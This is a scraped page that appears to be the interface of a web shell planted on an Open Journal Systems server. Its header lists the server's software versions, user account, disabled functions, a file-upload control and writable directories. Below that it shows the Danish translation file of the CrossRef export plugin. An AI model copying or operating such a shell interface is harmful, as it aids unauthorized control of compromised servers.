KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/plugins/importexport/crossref/locale/da_DK/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/plugins/importexport/crossref/locale/da_DK/locale.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T11:05:35+00:00\n"
"PO-Revision-Date: 2020-11-20 23:08+0000\n"
"Last-Translator: Niels Erik Frederiksen <[email protected]>\n"
"Language-Team: Danish <http://translate.pkp.sfu.ca/projects/ojs/"
"importexport-crossref/da_DK/>\n"
"Language: da_DK\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "plugins.importexport.crossref.displayName"
msgstr "CrossRef XML Eksport-plugin"

msgid "plugins.importexport.crossref.description"
msgstr "Eksportér artikelmetadata i CrossRef XML format."

msgid "plugins.importexport.crossref.cliUsage"
msgstr ""
"Brug: \n"
"{$scriptName} {$pluginName} export [xmlFileName] [journal_path] articles objectId1 [objectId2] ...\n"
"{$scriptName} {$pluginName} register [journal_path] articles objectId1 [objectId2] ...\n"
""

msgid "plugins.importexport.crossref.export.error.issueNotFound"
msgstr "Intet nummer matchede det specificerede nummer-ID \"{$issueId}\"."

msgid "plugins.importexport.crossref.export.error.articleNotFound"
msgstr "Ingen artikel matchede det specificerede artikel ID \"{$articleId}\"."

msgid "plugins.importexport.crossref.requirements"
msgstr "Krav"

msgid "plugins.importexport.crossref.requirements.satisfied"
msgstr "Alle plugin-krav er opfyldt."

msgid "plugins.importexport.crossref.error.publisherNotConfigured"
msgstr "Et tidsskriftsforlag mangler at blive indskrevet! Der skal tilføjes en forlæggerinstitution på  <a href=\"{$journalSettingsUrl}\" target=\"_blank\">Konfigurationssiden</a>."

msgid "plugins.importexport.crossref.error.issnNotConfigured"
msgstr "Et ISSN mangler at blive indskrevet! Der skal tilføjes et ISSN på the <a href=\"{$journalSettingsUrl}\" target=\"_blank\">Konfigurationssiden</a>."

msgid "plugins.importexport.crossref.error.noDOIContentObjects"
msgstr ""
"Der er ikke valgt artikler i forbindelse med DOI-tildeling under DOI public "
"indentifier-pluginen, så der er ingen deponerings- eller eksportmuligheder i "
"dette plugin."

msgid "plugins.importexport.crossref.settings.depositorIntro"
msgstr "Følgende elementer er påkrævet for at foretage en CrossRef-deponering."

msgid "plugins.importexport.crossref.settings.form.depositorName"
msgstr "Deponents navn"

msgid "plugins.importexport.crossref.settings.form.depositorEmail"
msgstr "Deponents e-mail"

msgid "plugins.importexport.crossref.settings.form.depositorNameRequired"
msgstr "Indsæt deponentnavn."

msgid "plugins.importexport.crossref.settings.form.depositorEmailRequired"
msgstr "Indsæt deponent-e-mail."

msgid "plugins.importexport.crossref.registrationIntro"
msgstr ""
"Hvis du ønsker at anvende dette plugin til direkte registrering af Digital "
"Object Identifiers (DOI'er) hos CrossRef skal du have et brugernavn og en "
"adgangskode (kan oprettes fra <a href=\"http://www.crossref.org\" target=\""
"_blank\">CrossRef</a>). Hvis du ikke har dit eget brugernavn og password, "
"kan du stadig eksportere via CrossRef XML formatet, men du kan ikke "
"registrere dine DOI'er hos CrossRef direkte via OJS."

msgid "plugins.importexport.crossref.settings.form.username"
msgstr "Brugernavn"

msgid "plugins.importexport.crossref.settings.form.usernameRequired"
msgstr "Indsæt det brugernavn du har fået udleveret fra CrossRef."

msgid "plugins.importexport.crossref.settings.form.automaticRegistration.description"
msgstr "OJS vil deponere tildelte DOI'er automatisk hos CrossRef. Bemærk, at der kan gå kort tid mellem publicering og endelig færdigbehandling. Alle ikke-registrerede DOI'er kan fremfindes."

msgid "plugins.importexport.crossref.settings.form.testMode.description"
msgstr "Brug CrossRef test-API til DOI-deponering (testopstilling). Glem ikke at fjerne denne mulighed under produktionen."

msgid "plugins.importexport.crossref.issues.description"
msgstr "Bemærk: Kun numre (og ikke deres artikler) vil her blive taget i betragtning ved eksport/registrering."

msgid "plugins.importexport.crossref.status.failed"
msgstr "Fejlet"

msgid "plugins.importexport.crossref.status.registered"
msgstr "Aktiv"

msgid "plugins.importexport.crossref.status.markedRegistered"
msgstr "Markeret aktiv"

msgid "plugins.importexport.crossref.statusLegend"
msgstr ""
"\n"
"\t\t<p>Indsendelsesstatus:</p>\n"
"\t\t<p>\n"
"\t\t- Ikke deponeret: ingen forsøg på indlevering er foretaget mht. denne "
"DOI.<br />\n"
"\t\t- Aktiv: denne DOI er blevet indleveret og korrekt deponeret.<br />\n"
"\t\t- Fejlet: denne DOI-indlevering fejlede.<br />\n"
"\t\t- Markeret aktiv: denne DOI blev manuelt markeret som værende aktiv. \n"
"\t\t</p>\n"
"\t\t<p>Det er kun status for de seneste indsendelsesforsøg der er "
"registreret.</p>\n"
"\t\t<p>Hvis der er sket en fejldeponering, bedes du løse problemet og "
"foretage et nyt registreringsforsøg.</p>"

msgid "plugins.importexport.crossref.action.markRegistered"
msgstr "Markér aktiv"

msgid "plugins.importexport.crossref.senderTask.name"
msgstr "CrossRef automatiske registreringsopgave"

msgid "plugins.importexport.crossref.action.export"
msgstr "Download XML"

msgid "plugins.importexport.crossref.register.success.warning"
msgstr ""
"Registreringen var vellykket, men følgende advarsel fremkom: '{$param}'."

msgid "plugins.importexport.crossref.register.error.mdsError"
msgstr ""
"Registrering var ikke fuldt ud vellykket! DOI-registreringsserveren "
"returnerede en fejl."

msgid "plugins.importexport.crossref.action.register"
msgstr "Depositum"

msgid "plugins.importexport.crossref.settings.form.validation"
msgstr ""
"Validér XML. Brug denne mulighed ved XML-download til den manuelle DOI-"
"registrering."

KUNTUL | JINGKONTOT |